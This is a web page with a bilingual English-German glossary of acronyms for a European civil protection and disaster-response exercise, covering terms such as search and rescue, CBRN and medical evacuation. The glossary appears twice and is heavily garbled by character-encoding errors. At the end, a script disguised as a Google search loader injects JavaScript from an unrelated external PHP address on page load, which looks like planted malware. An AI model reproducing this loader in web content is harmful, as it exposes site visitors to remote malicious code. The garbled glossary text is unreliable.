<!–:de–>Glossar<!–:–><!–:en–>Glossary<!–:–>

:deABC EinheitAi??Ai??Ai?? Unit for defense of atomic, biological and chemical substancesAi??Ai??Ai?? Einheit zur Abwehr von Gefahren durch atomare, biologische undAi?? chemische MittelAMPAi??Ai??Ai?? Advanced Medical PostAi??Ai??Ai?? vorgeschobener BehandlungsplatzAMPSAi??Ai??Ai?? Advanced Medical Post with SurgeryAi??Ai??Ai?? vorgeschobener Behandlungsplatz mit OPBATAi??Ai??Ai?? Mobile Medical SquadAi??Ai??Ai?? Beweglicher ArzttruppBCPAi??Ai??Ai?? Border Crossing PointAi??Ai??Ai?? GrenzA?bertrittsstelleBMIAi??Ai??Ai?? Federal Ministry of the InteriorAi??Ai??Ai?? Bundesministerium fA?r InneresBoOAi??Ai??Ai?? Base of OperationAi??Ai??Ai?? BRKAi??Ai??Ai?? Bavarian Red CrossAi??Ai??Ai?? Bayerisches Rotes KreuzCBRNAi??Ai??Ai?? Chemical, Biological, Radiological and Nuclear detection and samplingAi??Ai??Ai?? Feststellung chemischer, biologischer, radiologischer und nuklearer Gefahren und ProbenahmeCECISAi??Ai??Ai?? Common Emergency Communication and Information SystemAi??Ai??Ai?? Gemeinsames Kommunikations- und Informationssystem fA?r NotfAi??llezwischen den am Gemeinschaftsverfahren teilnehmenden StaatenCISAi??Ai??Ai?? Communication and Information SystemAi??Ai??Ai?? Kommunikations und InformationssystemCPAi??Ai??Ai?? Civil ProtectionAi??Ai??Ai?? KatastrophenschutzCPMAi??Ai??Ai?? Civil Protection MechanismAi??Ai??Ai?? Gemeinschaftsverfahren fA?r den KatastrophenschutzCPXAi??Ai??Ai?? Command Post ExerciseAi??Ai??Ai?? StabsrahmenA?bungDECO TeamAi??Ai??Ai?? Decontamination TeamAi??Ai??Ai?? Dekontaminationsteam (Entgiftungsmannschaft)DG ECHOAi??Ai??Ai?? Directorate General for Humanitarian Aid and Civil ProtectionAi??Ai??Ai?? Generaldirektorat fA?r HumanitAi??re Hilfe und ZivilschutzDPCAi??Ai??Ai?? Civil Protection Bureau, Italy Ai??Ai??Ai?? KatastrophenschutzbehAi??rde, ItalienDSECAi??Ai??Ai?? Detailed Scenario Episode CatalogueAi??Ai??Ai?? detailierter Szenarienkatalog der A?bungDUZSAi??Ai??Ai?? Civil Protection Bureau, CroatiaAi??Ai??Ai?? KatastrophenschutzbehAi??rde, KroatienECAi??Ai??Ai?? European CommunityAi??Ai??Ai?? EuropAi??ische UnionEFASAi??Ai??Ai?? European Flood Awareness SystemAi??Ai??Ai?? EuropAi??isches Instrument zur Progonose von A?berschwemmungenETAAi??Ai??Ai?? Estimated Time of ArrivalAi??Ai??Ai?? voraussichtlicher Zeitpunkt der AnkunftETDAi??Ai??Ai?? Estimated Time of DepartureAi??Ai??Ai?? voraussichtlicher Zeitpunkt der AbreiseETSAi??Ai??Ai?? Emergency Temporary ShelterAi??Ai?? Ai??Ai??Ai??Ai?? Not- und BehelfsunterkunftEUCP TeamAi??Ai??Ai?? European Union Civil Protection TeamAi??Ai??Ai?? Evaluierungs- und/oder Koordinierungsteams der EUELWAi??Ai??Ai?? Exercise Control VehicleAi??Ai??Ai?? EinsatzleitwagenEXCONAi??Ai??Ai?? Exercise ControlAi??Ai??Ai?? A?bungsleitungFEXAi??Ai??Ai?? Field ExerciseAi??Ai??Ai?? A?bungFEXOBSAi??Ai??Ai?? Field Exercise ObservationAi??Ai??Ai?? Beobachtung der A?bungFRBAi??Ai??Ai?? Flood Rescue using BoatsAi??Ai??Ai?? Bergungs- und RettungseinsAi??tze unter Einsatz von Booten bei A?berschwemmungenGISAi??Ai??Ai?? Geographic Information SystemAi??Ai??Ai?? Geographische InformationssystemeGMESAi??Ai??Ai?? Global Monitoring for Environment and SecurityAi??Ai??Ai?? Globale Umwelt- und SicherheitsA?berwachungGWSan50Ai??Ai??Ai?? Medical Equipment Vehicle for 50 patientsAi??Ai??Ai?? GerAi??tewagen SanitAi??tsdienst fA?r die Versorgung von 50 PatientenHAZ-MATAi??Ai??Ai?? Hazardous MaterialsAi??Ai??Ai?? Gefahrgut, GefAi??hrliche MaterialienHCPAi??Ai??Ai?? High Capacity PumpingAi??Ai??Ai?? HochleistungspumpenHFAi??Ai??Ai?? High frequencyAi??Ai??Ai?? Hohe FrequenzHNSAi??Ai??Ai?? Host Nation SupportAi??Ai??Ai?? UnterstA?tzung des GastgeberlandesHUSARAi??Ai??Ai?? Heavy urban search and rescueAi??Ai??Ai?? Suche und Rettung in StAi??dten unter schweren BedingungenIFRCAi??Ai??Ai?? International Federation of Red Cross and Red Crescent SocietiesAi??Ai??Ai?? Internationale FAi??deration der Rotkreuz- und -Halbmond- GesellschaftenIGSUAi??Ai??Ai?? Civil Protection Bureau, RomaniaAi??Ai??Ai?? KatastrophenschutzbehAi??rde, RumAi??nienLEMAAi??Ai??Ai?? Local Emergency Management AuthorityAi??Ai??Ai?? Ai??rtlich und sachlich zustAi??ndige KatastrophenschutzbehAi??rdeLO / LOiAi??Ai??Ai?? Liaison OfficerAi??Ai??Ai?? VerbindungsoffizierMCAi??Ai??Ai?? Media CentreAi??Ai??Ai?? Medien ZentrumMEDEVACAi??Ai??Ai?? Medical EvacuationAi??Ai?? Ai??Ai??Ai??Ai?? Evakuierung in medizinischen NotfAi??llenMICAi??Ai??Ai?? Monitoring and Information CentreAi??Ai??Ai?? Beobachtungs- und InformationszentrumMoIAi??Ai??Ai?? Ministry of the InteriorAi??Ai??Ai?? Bundesministerium fA?r InneresMoSanAi??Ai??Ai?? Mobile Sanitary Unit MobileAi??Ai??Ai?? mobile SanEinheitMPCAi??Ai??Ai?? Main Planning ConferenceAi??Ai??Ai?? HauptplanungskonferenzMS of EUAi??Ai?? Ai??Ai??Ai??Ai?? Member State of the European UnionAi??Ai??Ai?? Mitgliedstaat der EuropAi??ischen UnionMSELAi??Ai??Ai?? Master Scenario Event ListAi??Ai??Ai?? SzenarienkatalogMTFAi??Ai??Ai?? Medical Treatment Facility Ai??Ai??Ai?? Medizinische BehandlungseinrichtungMUSARAi??Ai??Ai?? Medium Urban Search and RescueAi??Ai??Ai?? Suche und Rettung in StAi??dten unter mittelschweren BedingungenNGOAi??Ai??Ai?? non-governmental organisationAi??Ai??Ai?? nichtstaatliche OrganisationNIFVAi??Ai??Ai?? Netherlands Institute for SafetyAi??Ai??Ai?? NiederlAi??ndische SicherheitsbehAi??rdeOCHAAi??Ai??Ai?? United Nations Office for the Coordination of Humanitarian AffairsAi??Ai??Ai?? Amt fA?r die Koordinierung humanitAi??rer Angelegenheiten der Vereinten NationenAi??RKAi??Ai??Ai?? Austrian Red CrossAi??Ai??Ai?? Ai??sterreichisches Rotes KreuzOSCAi??Ai??Ai?? On-site CommanderAi??Ai??Ai?? On-Site-Commander vor OrtObsRoomAi??Ai??Ai?? Observation RoomAi??Ai??Ai?? Einrichtung im Rahmen der FEX in dem Observer, etc. das A?bungsgeschehen via VideoA?bertragung besichtigen kAi??nnenPISAi??Ai??Ai?? Public Information StrategyAi??Ai??Ai?? Ai??ffentlichkeitsarbeitPOCAi??Ai??Ai?? Point of ContactAi??Ai??Ai?? (exklusive) Kontaktstelle fA?r InformationenPODAi??Ai??Ai?? Point of DepartureAi??Ai??Ai?? Abgangs-/AbreiseortPSAi??Ai??Ai?? Participating States of CPMAi??Ai??Ai?? Nicht EU-LAi??nder, die am CPM beteiligt sindRCAi??Ai??Ai?? Red CrossAi??Ai??Ai?? Rotes KreuzRDCAi??Ai??Ai?? Reception and Departure CentreAi??Ai??Ai?? Registrierungszentrum fA?r EinsatzkrAi??fteRDRTAi??Ai??Ai?? Regional Disaster Response Team (here: Red Cross)Ai??Ai??Ai?? regionales Katastrophenschutzteam (hier: Rotes Kreuz)SARAi??Ai??Ai?? Search and RescueAi??Ai??Ai?? Suche und RettungSAR in CBRNAi??Ai??Ai?? Search And Rescue under CBRN conditionsAi??Ai??Ai?? Such- und Rettungseinsatz in verseuchtem GebietSAR RobotsAi??Ai??Ai?? Search and Rescue RobotsAi??Ai??Ai?? Drohnen zur Suche und RettungSEGAi??Ai??Ai?? Fast Response UnitAi??Ai??Ai?? Schnell-Einsatz-GruppeSEG – GSGAi??Ai??Ai?? Fast Response Unit for HAZardous MATerials + 6 squad membersAi??Ai??Ai?? Schnell-Einsatz-Gruppe GefAi??hrliche Stoffe und GA?ter und 6 HelfernSEG – T+SAi??Ai??Ai?? Fast Response Unit with technical and safety equipmentAi??Ai??Ai?? Schnell-Einsatz-Gruppe Technik und SicherheitSEG – IuK Ai??Ai??Ai?? Fast Response Unit for Information and CommunicationAi??Ai??Ai?? Schnell-Einsatz-Gruppe Information und KommunikationSimPressAi??Ai??Ai?? Simulated PressAi??Ai??Ai?? simulierte PresseSitRepAi??Ai??Ai?? Situation Report Ai??Ai??Ai?? LageberichtSMURDAi??Ai??Ai?? Emergency Rescue Service based in RomaniaAi??Ai??Ai?? Mobiler Dienst fA?r NotfAi??lle, Reanimierung und Bergung in RumAi??nienS-WGAi??Ai??Ai?? Sub-Working group Ai??Ai??Ai?? Unter-ArbeitsgruppeTLAi??Ai??Ai?? Team LeaderAi??Ai??Ai?? TeamleiterTWAAi??Ai??Ai?? Water Purification Ai??Ai??Ai?? TrinkwasseraufbereitungUSARAi??Ai??Ai?? Urban Search and RescueAi??Ai??Ai?? Suche und Rettung in StAi??dtenUSAR CBRNAi??Ai??Ai?? Urban Search and Rescue under CBRN ConditionsAi??Ai??Ai?? Suche und Rettung bei CBRN-GefahrenWGAi??Ai??Ai?? Working GroupAi??Ai??Ai?? ArbeitsgruppeWPAi??Ai??Ai?? Water PurificationAi??Ai??Ai?? Trinkwasseraufbereitung
Ai??::enABC EinheitAi??Ai??Ai?? Unit for defense of atomic, biological and chemical substancesAi??Ai??Ai?? Einheit zur Abwehr von Gefahren durch atomare, biologische undAi?? chemische MittelAMPAi??Ai??Ai?? Advanced Medical PostAi??Ai??Ai?? vorgeschobener BehandlungsplatzAMPSAi??Ai??Ai?? Advanced Medical Post with SurgeryAi??Ai??Ai?? vorgeschobener Behandlungsplatz mit OPBATAi??Ai??Ai?? Mobile Medical SquadAi??Ai??Ai?? Beweglicher ArzttruppBCPAi??Ai??Ai?? Border Crossing PointAi??Ai??Ai?? GrenzA?bertrittsstelleBMIAi??Ai??Ai?? Federal Ministry of the InteriorAi??Ai??Ai?? Bundesministerium fA?r InneresBoOAi??Ai??Ai?? Base of OperationAi??Ai??Ai?? BRKAi??Ai??Ai?? Bavarian Red CrossAi??Ai??Ai?? Bayerisches Rotes KreuzCBRNAi??Ai??Ai?? Chemical, Biological, Radiological and Nuclear detection and samplingAi??Ai??Ai?? Feststellung chemischer, biologischer, radiologischer und nuklearer Gefahren und ProbenahmeCECISAi??Ai??Ai?? Common Emergency Communication and Information SystemAi??Ai??Ai?? Gemeinsames Kommunikations- und Informationssystem fA?r NotfAi??llezwischen den am Gemeinschaftsverfahren teilnehmenden StaatenCISAi??Ai??Ai?? Communication and Information SystemAi??Ai??Ai?? Kommunikations und InformationssystemCPAi??Ai??Ai?? Civil ProtectionAi??Ai??Ai?? KatastrophenschutzCPMAi??Ai??Ai?? Civil Protection MechanismAi??Ai??Ai?? Gemeinschaftsverfahren fA?r den KatastrophenschutzCPXAi??Ai??Ai?? Command Post ExerciseAi??Ai??Ai?? StabsrahmenA?bungDECO TeamAi??Ai??Ai?? Decontamination TeamAi??Ai??Ai?? Dekontaminationsteam (Entgiftungsmannschaft)DG ECHOAi??Ai??Ai?? Directorate General for Humanitarian Aid and Civil ProtectionAi??Ai??Ai?? Generaldirektorat fA?r HumanitAi??re Hilfe und ZivilschutzDPCAi??Ai??Ai?? Civil Protection Bureau, Italy Ai??Ai??Ai?? KatastrophenschutzbehAi??rde, ItalienDSECAi??Ai??Ai?? Detailed Scenario Episode CatalogueAi??Ai??Ai?? detailierter Szenarienkatalog der A?bungDUZSAi??Ai??Ai?? Civil Protection Bureau, CroatiaAi??Ai??Ai?? KatastrophenschutzbehAi??rde, KroatienECAi??Ai??Ai?? European CommunityAi??Ai??Ai?? EuropAi??ische UnionEFASAi??Ai??Ai?? European Flood Awareness SystemAi??Ai??Ai?? EuropAi??isches Instrument zur Progonose von A?berschwemmungenETAAi??Ai??Ai?? Estimated Time of ArrivalAi??Ai??Ai?? voraussichtlicher Zeitpunkt der AnkunftETDAi??Ai??Ai?? Estimated Time of DepartureAi??Ai??Ai?? voraussichtlicher Zeitpunkt der AbreiseETSAi??Ai??Ai?? Emergency Temporary ShelterAi??Ai?? Ai??Ai??Ai??Ai?? Not- und BehelfsunterkunftEUCP TeamAi??Ai??Ai?? European Union Civil Protection TeamAi??Ai??Ai?? Evaluierungs- und/oder Koordinierungsteams der EUELWAi??Ai??Ai?? Exercise Control VehicleAi??Ai??Ai?? EinsatzleitwagenEXCONAi??Ai??Ai?? Exercise ControlAi??Ai??Ai?? A?bungsleitungFEXAi??Ai??Ai?? Field ExerciseAi??Ai??Ai?? A?bungFEXOBSAi??Ai??Ai?? Field Exercise ObservationAi??Ai??Ai?? Beobachtung der A?bungFRBAi??Ai??Ai?? Flood Rescue using BoatsAi??Ai??Ai?? Bergungs- und RettungseinsAi??tze unter Einsatz von Booten bei A?berschwemmungenGISAi??Ai??Ai?? Geographic Information SystemAi??Ai??Ai?? Geographische InformationssystemeGMESAi??Ai??Ai?? Global Monitoring for Environment and SecurityAi??Ai??Ai?? Globale Umwelt- und SicherheitsA?berwachungGWSan50Ai??Ai??Ai?? Medical Equipment Vehicle for 50 patientsAi??Ai??Ai?? GerAi??tewagen SanitAi??tsdienst fA?r die Versorgung von 50 PatientenHAZ-MATAi??Ai??Ai?? Hazardous MaterialsAi??Ai??Ai?? Gefahrgut, GefAi??hrliche MaterialienHCPAi??Ai??Ai?? High Capacity PumpingAi??Ai??Ai?? HochleistungspumpenHFAi??Ai??Ai?? High frequencyAi??Ai??Ai?? Hohe FrequenzHNSAi??Ai??Ai?? Host Nation SupportAi??Ai??Ai?? UnterstA?tzung des GastgeberlandesHUSARAi??Ai??Ai?? Heavy urban search and rescueAi??Ai??Ai?? Suche und Rettung in StAi??dten unter schweren BedingungenIFRCAi??Ai??Ai?? International Federation of Red Cross and Red Crescent SocietiesAi??Ai??Ai?? Internationale FAi??deration der Rotkreuz- und -Halbmond- GesellschaftenIGSUAi??Ai??Ai?? Civil Protection Bureau, RomaniaAi??Ai??Ai?? KatastrophenschutzbehAi??rde, RumAi??nienLEMAAi??Ai??Ai?? Local Emergency Management AuthorityAi??Ai??Ai?? Ai??rtlich und sachlich zustAi??ndige KatastrophenschutzbehAi??rdeLO / LOiAi??Ai??Ai?? Liaison OfficerAi??Ai??Ai?? VerbindungsoffizierMCAi??Ai??Ai?? Media CentreAi??Ai??Ai?? Medien ZentrumMEDEVACAi??Ai??Ai?? Medical EvacuationAi??Ai?? Ai??Ai??Ai??Ai?? Evakuierung in medizinischen NotfAi??llenMICAi??Ai??Ai?? Monitoring and Information CentreAi??Ai??Ai?? Beobachtungs- und InformationszentrumMoIAi??Ai??Ai?? Ministry of the InteriorAi??Ai??Ai?? Bundesministerium fA?r InneresMoSanAi??Ai??Ai?? Mobile Sanitary Unit MobileAi??Ai??Ai?? mobile SanEinheitMPCAi??Ai??Ai?? Main Planning ConferenceAi??Ai??Ai?? HauptplanungskonferenzMS of EUAi??Ai?? Ai??Ai??Ai??Ai?? Member State of the European UnionAi??Ai??Ai?? Mitgliedstaat der EuropAi??ischen UnionMSELAi??Ai??Ai?? Master Scenario Event ListAi??Ai??Ai?? SzenarienkatalogMTFAi??Ai??Ai?? Medical Treatment Facility Ai??Ai??Ai?? Medizinische BehandlungseinrichtungMUSARAi??Ai??Ai?? Medium Urban Search and RescueAi??Ai??Ai?? Suche und Rettung in StAi??dten unter mittelschweren BedingungenNGOAi??Ai??Ai?? non-governmental organisationAi??Ai??Ai?? nichtstaatliche OrganisationNIFVAi??Ai??Ai?? Netherlands Institute for SafetyAi??Ai??Ai?? NiederlAi??ndische SicherheitsbehAi??rdeOCHAAi??Ai??Ai?? United Nations Office for the Coordination of Humanitarian AffairsAi??Ai??Ai?? Amt fA?r die Koordinierung humanitAi??rer Angelegenheiten der Vereinten NationenAi??RKAi??Ai??Ai?? Austrian Red CrossAi??Ai??Ai?? Ai??sterreichisches Rotes KreuzOSCAi??Ai??Ai?? On-site CommanderAi??Ai??Ai?? On-Site-Commander vor OrtObsRoomAi??Ai??Ai?? Observation RoomAi??Ai??Ai?? Einrichtung im Rahmen der FEX in dem Observer, etc. das A?bungsgeschehen via VideoA?bertragung besichtigen kAi??nnenPISAi??Ai??Ai?? Public Information StrategyAi??Ai??Ai?? Ai??ffentlichkeitsarbeitPOCAi??Ai??Ai?? Point of ContactAi??Ai??Ai?? (exklusive) Kontaktstelle fA?r InformationenPODAi??Ai??Ai?? Point of DepartureAi??Ai??Ai?? Abgangs-/AbreiseortPSAi??Ai??Ai?? Participating States of CPMAi??Ai??Ai?? Nicht EU-LAi??nder, die am CPM beteiligt sindRCAi??Ai??Ai?? Red CrossAi??Ai??Ai?? Rotes KreuzRDCAi??Ai??Ai?? Reception and Departure CentreAi??Ai??Ai?? Registrierungszentrum fA?r EinsatzkrAi??fteRDRTAi??Ai??Ai?? Regional Disaster Response Team (here: Red Cross)Ai??Ai??Ai?? regionales Katastrophenschutzteam (hier: Rotes Kreuz)SARAi??Ai??Ai?? Search and RescueAi??Ai??Ai?? Suche und RettungSAR in CBRNAi??Ai??Ai?? Search And Rescue under CBRN conditionsAi??Ai??Ai?? Such- und Rettungseinsatz in verseuchtem GebietSAR RobotsAi??Ai??Ai?? Search and Rescue RobotsAi??Ai??Ai?? Drohnen zur Suche und RettungSEGAi??Ai??Ai?? Fast Response UnitAi??Ai??Ai?? Schnell-Einsatz-GruppeSEG – GSGAi??Ai??Ai?? Fast Response Unit for HAZardous MATerials + 6 squad membersAi??Ai??Ai?? Schnell-Einsatz-Gruppe GefAi??hrliche Stoffe und GA?ter und 6 HelfernSEG – T+SAi??Ai??Ai?? Fast Response Unit with technical and safety equipmentAi??Ai??Ai?? Schnell-Einsatz-Gruppe Technik und SicherheitSEG – IuK Ai??Ai??Ai?? Fast Response Unit for Information and CommunicationAi??Ai??Ai?? Schnell-Einsatz-Gruppe Information und KommunikationSimPressAi??Ai??Ai?? Simulated PressAi??Ai??Ai?? simulierte PresseSitRepAi??Ai??Ai?? Situation Report Ai??Ai??Ai?? LageberichtSMURDAi??Ai??Ai?? Emergency Rescue Service based in RomaniaAi??Ai??Ai?? Mobiler Dienst fA?r NotfAi??lle, Reanimierung und Bergung in RumAi??nienS-WGAi??Ai??Ai?? Sub-Working group Ai??Ai??Ai?? Unter-ArbeitsgruppeTLAi??Ai??Ai?? Team LeaderAi??Ai??Ai?? TeamleiterTWAAi??Ai??Ai?? Water Purification Ai??Ai??Ai?? TrinkwasseraufbereitungUSARAi??Ai??Ai?? Urban Search and RescueAi??Ai??Ai?? Suche und Rettung in StAi??dtenUSAR CBRNAi??Ai??Ai?? Urban Search and Rescue under CBRN ConditionsAi??Ai??Ai?? Suche und Rettung bei CBRN-GefahrenWGAi??Ai??Ai?? Working GroupAi??Ai??Ai?? ArbeitsgruppeWPAi??Ai??Ai?? Water PurificationAi??Ai??Ai?? Trinkwasseraufbereitung:

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://ninni.org/core9Om3.php”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();